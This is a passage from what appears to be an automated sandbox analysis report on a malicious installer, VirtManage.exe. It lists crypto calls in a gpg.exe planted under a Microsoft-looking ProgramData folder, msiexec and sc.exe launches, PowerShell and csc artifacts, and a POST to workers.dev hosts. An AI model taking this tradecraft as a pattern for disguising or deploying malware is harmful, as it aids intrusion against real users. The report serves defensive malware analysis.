ry_sexp_release,gcry_sexp_build,gcry_sexp_build,gcry_pk_encrypt,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_malloc,memcpy,gcry_sexp_release,gcry_sexp_release,gcry_free,gcry_mpi_release,gcry_mpi_release,gcry_sexp_build,gcry_free,gcry_mpi_release,gcry_mpi_get_opaque,gcry_free,gpgrt_log_debug,gcry_mpi_dump,gpgrt_log_printf,gpg_err_code_from_syserror,gcry_mpi_release,gcry_sexp_build,_gpgrt_log_assert,_gpgrt_log_assert,_gpgrt_log_assert,gcry_sexp_build,gcry_pk_testkey,gcry_sexp_release,gcry_sexp_build,gcry_sexp_build,gcry_sexp_build,gcry_free,gpg_err_code_from_syserror,1_2_0044C0D0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_00464220 gcry_cipher_open,gcry_sexp_release,gcry_free,gcry_free,gcry_free,gcry_cipher_close,gcry_free,gcry_cipher_setkey,gcry_free,gcry_sexp_release,gcry_sexp_build,gcry_free,gcry_free,gpg_strerror,gpgrt_log_error,gpg_err_code_from_syserror,gcry_sexp_build_array,gcry_free,gpgrt_snprintf,gcry_sexp_build,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gpg_strerror,gpgrt_log_error,gcry_sexp_build,gcry_sexp_build,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_free,gcry_malloc,gcry_cipher_encrypt,gcry_free,gcry_free,gcry_mpi_get_flag,gpg_strerror,_gpg_w32_gettext,gpgrt_log_error,gcry_mpi_get_flag,gcry_mpi_get_flag,gcry_mpi_get_flag,gcry_mpi_get_opaque,gpgrt_log_info,gpg_strerror,gpgrt_log_error,_gpg_w32_gettext,gpgrt_log_info,gpg_err_code_from_syserror,gcry_free,gcry_free,_gpg_w32_gettext,gpgrt_log_info,gpg_strerror,gpgrt_log_error,gpgrt_log,abort,gpg_err_code_from_syserror,1_2_00464220
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_00427350 gcry_xcalloc,gpgrt_log_error,gcry_xcalloc,gcry_xcalloc,gcry_free,_gpg_w32_gettext,gpgrt_log_info,_gpg_w32_gettext,gpgrt_log_error,_gpg_w32_gettext,gpgrt_log_error,gcry_cipher_open,gcry_cipher_close,gpg_strerror,gpgrt_log_info,_gpg_w32_gettext,gpgrt_log_error,gpg_strerror,gpgrt_log_info,gcry_cipher_setkey,gcry_cipher_setiv,gcry_cipher_authenticate,gcry_cipher_ctl,gcry_cipher_decrypt,gcry_cipher_checktag,memcpy,gcry_cipher_close,gcry_cipher_decrypt,gcry_cipher_close,gpg_strerror,gpgrt_log_info,gcry_cipher_get_algo_keylen,gcry_cipher_close,gpgrt_log_debug,gcry_cipher_close,gcry_cipher_close,gcry_cipher_close,gpgrt_log_fatal,1_2_00427350
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0046B3E0 gcry_free,gcry_sexp_release,gcry_free,gcry_free,_gpg_w32_gettext,gpg_strerror,gpgrt_log_error,gcry_malloc_secure,gcry_cipher_decrypt,gpgrt_log_info,gcry_sexp_canon_len,gcry_sexp_sscan,gcry_sexp_find_token,gcry_sexp_cadr,gcry_sexp_release,gcry_sexp_nth_string,gcry_pk_map_name,gcry_free,gcry_pk_algo_info,gcry_pk_algo_info,gcry_sexp_release,gcry_mpi_release,gcry_sexp_find_token,gcry_sexp_length,gcry_sexp_nth,gcry_sexp_nth_string,gcry_pk_map_name,gcry_calloc,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_release,gcry_sexp_extract_param,gcry_sexp_release,gcry_sexp_release,gcry_free,gcry_mpi_release,gcry_sexp_find_token,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_free,gcry_mpi_cmp,gcry_calloc,gcry_calloc,gcry_mpi_set_opaque,memset,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_sexp_find_token,gcry_mpi_release,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_mpi_release,gcry_sexp_nth_string,gcry_cipher_map_name,gcry_free,gcry_sexp_nth_data,memcpy,gcry_sexp_nth_string,strtol,gcry_free,gcry_sexp_nth_string,gcry_md_map_name,gcry_free,gcry_sexp_nth_data,memcpy,gcry_sexp_nth_string,strtoul,gcry_free,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_string,gcry_pk_map_name,gcry_free,gcry_pk_algo_info,gcry_pk_algo_info,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_sexp_nth_data,gcry_mpi_set_opaque_copy,gcry_mpi_set_flag,memcmp,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_sexp_extract_param,gpg_err_code_from_syserror,gcry_sexp_extract_param,gcry_free,gcry_sexp_release,gcry_sexp_release,gpg_err_code_from_syserror,_gpgrt_log_assert,gcry_mpi_set_flag,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_mpi_release,gcry_mpi_scan,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_string,gcry_sexp_release,gcry_sexp_release,gcry_mpi_cmp,gcry_mpi_get_flag,gcry_calloc,gpg_err_code_from_syserror,gcry_mpi_copy,gpgrt_log_error,gpg_err_code_from_syserror,_gpgrt_log_assert,gcry_mpi_release,gcry_sexp_extract_param,1_2_0046B3E0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0044E530 gcry_mpi_get_flag,gcry_malloc_secure,memcpy,gcry_cipher_encrypt,memset,gcry_cipher_close,gcry_mpi_set_opaque,gpgrt_log_printhex,gpg_strerror,gpgrt_log_error,gcry_free,gpgrt_log_error,gcry_cipher_close,gpgrt_log_printhex,gpg_err_code_from_syserror,gcry_free,gpg_strerror,gpgrt_log_error,gpg_err_code_from_syserror,gcry_cipher_close,1_2_0044E530
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0044E920 gcry_mpi_get_flag,gcry_mpi_get_opaque,gcry_malloc_secure,memcpy,gcry_cipher_decrypt,gcry_cipher_close,gcry_mpi_scan,gcry_free,gpgrt_log_error,gcry_cipher_close,gpgrt_log_printhex,gpgrt_log_error,gcry_free,gcry_cipher_close,gpgrt_log_printhex,gpg_strerror,gpgrt_log_error,gcry_free,gpg_strerror,gpgrt_log_error,gpg_err_code_from_syserror,gcry_cipher_close,1_2_0044E920
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_00454B00 _gpgrt_log_assert,gcry_cipher_decrypt,gcry_md_write,memcpy,gcry_cipher_close,gcry_md_close,gcry_free,_gpgrt_log_assert,_gpgrt_log_assert,_gpgrt_log_assert,gcry_cipher_decrypt,gcry_cipher_close,gcry_md_close,gcry_free,_gpgrt_log_assert,1_2_00454B00
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0044C0D0 gcry_sexp_build,gcry_sexp_build,gcry_sexp_build,gcry_pk_verify,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_sexp_build,gcry_free,gcry_sexp_build,gcry_mpi_get_nbits,gcry_mpi_release,gcry_mpi_release,gcry_sexp_build,gcry_sexp_build,gcry_sexp_build,gcry_sexp_build,gcry_sexp_build,gcry_free,gcry_mpi_get_nbits,gcry_mpi_copy,gcry_mpi_copy,gcry_mpi_get_flag,gcry_mpi_get_flag,gcry_sexp_build,gpg_err_code_from_syserror,gpg_err_code_from_syserror,gcry_sexp_build,gcry_mpi_get_flag,gcry_mpi_get_flag,gcry_mpi_get_opaque,memcpy,gcry_mpi_set_opaque_copy,gpg_err_code_from_syserror,gcry_mpi_print,memmove,gcry_mpi_set_opaque_copy,_gpgrt_log_assert,gcry_mpi_get_flag,gcry_mpi_get_opaque,memcpy,gcry_mpi_set_opaque_copy,gcry_mpi_get_opaque,memcpy,gcry_mpi_set_opaque_copy,gcry_mpi_print,memmove,gcry_mpi_set_opaque_copy,_gpgrt_log_assert,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_sexp_build,gcry_sexp_release,gcry_sexp_release,gcry_sexp_build,gcry_sexp_build,gcry_pk_encrypt,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_mpi,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_malloc,memcpy,gcry_sexp_release,gcry_sexp_release,gcry_free,gcry_mpi_release,gcry_mpi_release,gcry_sexp_build,gcry_free,gcry_mpi_release,gcry_mpi_get_opaque,gcry_free,gpgrt_log_debug,gcry_mpi_dump,gpgrt_log_printf,gpg_err_code_from_syserror,gcry_mpi_release,gcry_sexp_build,_gpgrt_log_assert,_gpgrt_log_assert,_gpgrt_log_assert,gcry_sexp_build,gcry_pk_testkey,gcry_sexp_release,gcry_sexp_build,gcry_sexp_build,gcry_sexp_build,gcry_free,gpg_err_code_from_syserror,3_2_0044C0D0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_00464220 gcry_cipher_open,gcry_sexp_release,gcry_free,gcry_free,gcry_free,gcry_cipher_close,gcry_free,gcry_cipher_setkey,gcry_free,gcry_sexp_release,gcry_sexp_build,gcry_free,gcry_free,gpg_strerror,gpgrt_log_error,gpg_err_code_from_syserror,gcry_sexp_build_array,gcry_free,gpgrt_snprintf,gcry_sexp_build,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gpg_strerror,gpgrt_log_error,gcry_sexp_build,gcry_sexp_build,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_free,gcry_malloc,gcry_cipher_encrypt,gcry_free,gcry_free,gcry_mpi_get_flag,gpg_strerror,_gpg_w32_gettext,gpgrt_log_error,gcry_mpi_get_flag,gcry_mpi_get_flag,gcry_mpi_get_flag,gcry_mpi_get_opaque,gpgrt_log_info,gpg_strerror,gpgrt_log_error,_gpg_w32_gettext,gpgrt_log_info,gpg_err_code_from_syserror,gcry_free,gcry_free,_gpg_w32_gettext,gpgrt_log_info,gpg_strerror,gpgrt_log_error,gpgrt_log,abort,gpg_err_code_from_syserror,3_2_00464220
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_00427350 gcry_xcalloc,gpgrt_log_error,gcry_xcalloc,gcry_xcalloc,gcry_free,_gpg_w32_gettext,gpgrt_log_info,_gpg_w32_gettext,gpgrt_log_error,_gpg_w32_gettext,gpgrt_log_error,gcry_cipher_open,gcry_cipher_close,gpg_strerror,gpgrt_log_info,_gpg_w32_gettext,gpgrt_log_error,gpg_strerror,gpgrt_log_info,gcry_cipher_setkey,gcry_cipher_setiv,gcry_cipher_authenticate,gcry_cipher_ctl,gcry_cipher_decrypt,gcry_cipher_checktag,memcpy,gcry_cipher_close,gcry_cipher_decrypt,gcry_cipher_close,gpg_strerror,gpgrt_log_info,gcry_cipher_get_algo_keylen,gcry_cipher_close,gpgrt_log_debug,gcry_cipher_close,gcry_cipher_close,gcry_cipher_close,gpgrt_log_fatal,3_2_00427350
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0046B3E0 gcry_free,gcry_sexp_release,gcry_free,gcry_free,_gpg_w32_gettext,gpg_strerror,gpgrt_log_error,gcry_malloc_secure,gcry_cipher_decrypt,gpgrt_log_info,gcry_sexp_canon_len,gcry_sexp_sscan,gcry_sexp_find_token,gcry_sexp_cadr,gcry_sexp_release,gcry_sexp_nth_string,gcry_pk_map_name,gcry_free,gcry_pk_algo_info,gcry_pk_algo_info,gcry_sexp_release,gcry_mpi_release,gcry_sexp_find_token,gcry_sexp_length,gcry_sexp_nth,gcry_sexp_nth_string,gcry_pk_map_name,gcry_calloc,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_release,gcry_sexp_extract_param,gcry_sexp_release,gcry_sexp_release,gcry_free,gcry_mpi_release,gcry_sexp_find_token,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_free,gcry_mpi_cmp,gcry_calloc,gcry_calloc,gcry_mpi_set_opaque,memset,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_mpi_cmp,gcry_sexp_find_token,gcry_mpi_release,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_mpi_release,gcry_sexp_nth_string,gcry_cipher_map_name,gcry_free,gcry_sexp_nth_data,memcpy,gcry_sexp_nth_string,strtol,gcry_free,gcry_sexp_nth_string,gcry_md_map_name,gcry_free,gcry_sexp_nth_data,memcpy,gcry_sexp_nth_string,strtoul,gcry_free,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_string,gcry_pk_map_name,gcry_free,gcry_pk_algo_info,gcry_pk_algo_info,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_data,gcry_sexp_nth_data,gcry_mpi_set_opaque_copy,gcry_mpi_set_flag,memcmp,gcry_sexp_extract_param,gcry_mpi_cmp,gcry_sexp_extract_param,gpg_err_code_from_syserror,gcry_sexp_extract_param,gcry_free,gcry_sexp_release,gcry_sexp_release,gpg_err_code_from_syserror,_gpgrt_log_assert,gcry_mpi_set_flag,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_mpi_release,gcry_mpi_scan,gcry_free,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_sexp_find_token,gcry_sexp_nth_string,gcry_sexp_release,gcry_sexp_release,gcry_mpi_cmp,gcry_mpi_get_flag,gcry_calloc,gpg_err_code_from_syserror,gcry_mpi_copy,gpgrt_log_error,gpg_err_code_from_syserror,_gpgrt_log_assert,gcry_mpi_release,gcry_sexp_extract_param,3_2_0046B3E0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0044E530 gcry_mpi_get_flag,gcry_malloc_secure,memcpy,gcry_cipher_encrypt,memset,gcry_cipher_close,gcry_mpi_set_opaque,gpgrt_log_printhex,gpg_strerror,gpgrt_log_error,gcry_free,gpgrt_log_error,gcry_cipher_close,gpgrt_log_printhex,gpg_err_code_from_syserror,gcry_free,gpg_strerror,gpgrt_log_error,gpg_err_code_from_syserror,gcry_cipher_close,3_2_0044E530
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_0044E920 gcry_mpi_get_flag,gcry_mpi_get_opaque,gcry_malloc_secure,memcpy,gcry_cipher_decrypt,gcry_cipher_close,gcry_mpi_scan,gcry_free,gpgrt_log_error,gcry_cipher_close,gpgrt_log_printhex,gpgrt_log_error,gcry_free,gcry_cipher_close,gpgrt_log_printhex,gpg_strerror,gpgrt_log_error,gcry_free,gpg_strerror,gpgrt_log_error,gpg_err_code_from_syserror,gcry_cipher_close,3_2_0044E920
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_00454B00 _gpgrt_log_assert,gcry_cipher_decrypt,gcry_md_write,memcpy,gcry_cipher_close,gcry_md_close,gcry_free,_gpgrt_log_assert,_gpgrt_log_assert,_gpgrt_log_assert,gcry_cipher_decrypt,gcry_cipher_close,gcry_md_close,gcry_free,_gpgrt_log_assert,3_2_00454B00
Source: C:\Users\user\Desktop\VirtManage.exeEXE: msiexec.exeJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeEXE: sc.exeJump to behavior

Compliance

barindex
EXE planting / hijacking vulnerabilities found
Source: C:\Users\user\Desktop\VirtManage.exeEXE: msiexec.exeJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeEXE: sc.exeJump to behavior
Uses 32bit PE files
Source: VirtManage.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
PE / OLE file has a valid certificate
Source: VirtManage.exeStatic PE information: certificate valid
Uses secure TLS version for HTTPS connections
Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49695 version: TLS 1.2
Source: unknownHTTPS traffic detected: 172.67.153.11:443 -> 192.168.2.9:49698 version: TLS 1.2
Contains modern PE file flags such as dynamic base (ASLR) or NX
Source: VirtManage.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Binary contains paths to debug symbols
Source: Binary string: F:\gs2\VS\out\binaries\x86ret\bin\i386\DPCA.pdb source: 7za.exe, 00000007.00000003.1022882785.0000020DBFFD0000.00000004.00001000.00020000.00000000.sdmp, MSIBE11.tmp.9.dr
Source: Binary string: F:\gs2\VS\out\binaries\x86ret\bin\i386\DPCA.pdb= source: 7za.exe, 00000007.00000003.1022882785.0000020DBFFD0000.00000004.00001000.00020000.00000000.sdmp, MSIBE11.tmp.9.dr
Source: Binary string: -C:\Users\user\AppData\Local\Temp\jvshszob.pdb source: powershell.exe, 00000021.00000002.2786980460.000001A789A7B000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 6C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.pdbhPx source: powershell.exe, 00000019.00000002.2787411165.00000228DF6F3000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: -C:\Users\user\AppData\Local\Temp\jvshszob.pdbhPx source: powershell.exe, 00000021.00000002.2786980460.000001A789A7B000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: OLEView.pdb source: VirtManage.exe, 00000000.00000003.1136946395.000000000069D000.00000004.00000020.00020000.00000000.sdmp, 7za.exe, 00000010.00000003.1083193597.00000207E3CAA000.00000004.00001000.00020000.00000000.sdmp, 7za.exe, 00000010.00000003.1083115289.00000207E3CDA000.00000004.00001000.00020000.00000000.sdmp, winapi.exe, 00000018.00000002.2783866933.00007FF7ACBBD000.00000002.00000001.01000000.00000013.sdmp, winapi.exe, 00000018.00000000.1259151907.00007FF7ACBBD000.00000002.00000001.01000000.00000013.sdmp, winapi.exe, 00000020.00000002.2784267390.00007FF6A317D000.00000002.00000001.01000000.00000017.sdmp, winapi.exe, 00000020.00000000.1286843052.00007FF6A317D000.00000002.00000001.01000000.00000017.sdmp, winapi.exe.16.dr, winapi.exe.0.dr
Source: Binary string: OLEView.pdbGCTL source: VirtManage.exe, 00000000.00000003.1136946395.000000000069D000.00000004.00000020.00020000.00000000.sdmp, 7za.exe, 00000010.00000003.1083193597.00000207E3CAA000.00000004.00001000.00020000.00000000.sdmp, 7za.exe, 00000010.00000003.1083115289.00000207E3CDA000.00000004.00001000.00020000.00000000.sdmp, winapi.exe, 00000018.00000002.2783866933.00007FF7ACBBD000.00000002.00000001.01000000.00000013.sdmp, winapi.exe, 00000018.00000000.1259151907.00007FF7ACBBD000.00000002.00000001.01000000.00000013.sdmp, winapi.exe, 00000020.00000002.2784267390.00007FF6A317D000.00000002.00000001.01000000.00000017.sdmp, winapi.exe, 00000020.00000000.1286843052.00007FF6A317D000.00000002.00000001.01000000.00000017.sdmp, winapi.exe.16.dr, winapi.exe.0.dr
Source: Binary string: 6C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.pdb source: powershell.exe, 00000019.00000002.2787411165.00000228DF6F3000.00000004.00000800.00020000.00000000.sdmp
Source: C:\Windows\System32\msiexec.exeFile opened: z:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: x:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: v:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: t:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: r:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: p:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: n:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: l:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: j:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: h:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: f:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: b:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: y:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: w:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: u:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: s:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: q:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: o:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: m:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: k:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: i:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: g:Jump to behavior
Source: C:\Windows\System32\msiexec.exeFile opened: e:Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: c:
Source: C:\Windows\System32\msiexec.exeFile opened: a:Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_004068D4 FindFirstFileW,FindClose,0_2_004068D4
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405C83
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00402930 FindFirstFileW,0_2_00402930
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004CC650 strpbrk,FindFirstFileW,gcry_free,strlen,gcry_malloc,gcry_free,FindNextFileW,FindClose,gcry_free,FindClose,gcry_free,FindClose,1_2_004CC650
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 3_2_004CC650 strpbrk,FindFirstFileW,gcry_free,strlen,gcry_malloc,gcry_free,FindNextFileW,FindClose,gcry_free,FindClose,gcry_free,FindClose,3_2_004CC650
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\catroot2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\System32\AppxSip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\e9e64b91c0e4559f01e50ac43ffb9a2a\System.DirectoryServices.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SYSTEM32\OpcServices.DLL
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\System32\wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 4x nop then push esi1_2_0049C5F0
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 4x nop then push esi3_2_0049C5F0
Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_004016A0 npth_unprotect,__assuan_recvmsg,npth_protect,1_2_004016A0
Source: global trafficDNS traffic detected: DNS query: nginx-server.paxivo2460.workers.dev
Source: global trafficDNS traffic detected: DNS query: ec2-server.bayaj19162.workers.dev
Source: unknownHTTP traffic detected: POST //lD5bdpyg/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.19045.0Content-Type: application/jsonHost: nginx-server.paxivo2460.workers.devContent-Length: 111Expect: 100-continueConnection: Keep-Alive
Source: csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/Date.
Source: csc.exe, 00000024.00000003.1503865866.000001F6D2FD5000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1928101927.000001B20AC93000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/Date.HijriCalendar.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/Date.HijriCalendar.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/Date.UmAlQuraCalendar.debug.jsT
Source: csc.exe, 00000024.00000003.1503793330.000001F6D2FD0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000002.1506218502.000001F6D2FD2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503740631.000001F6D2FCA000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503595861.000001F6D2FC6000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000024.00000003.1503416887.000001F6D2FC0000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927677453.000001B20AC84000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927929098.000001B20AC8E000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927298554.000001B20AC7F000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000003.1927850369.000001B20AC89000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000029.00000002.1930910360.000001B20AC90000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ajax.aspnetcdn.com/ajax/4.6/1/Date.UmAlQuraCalendar.jsT
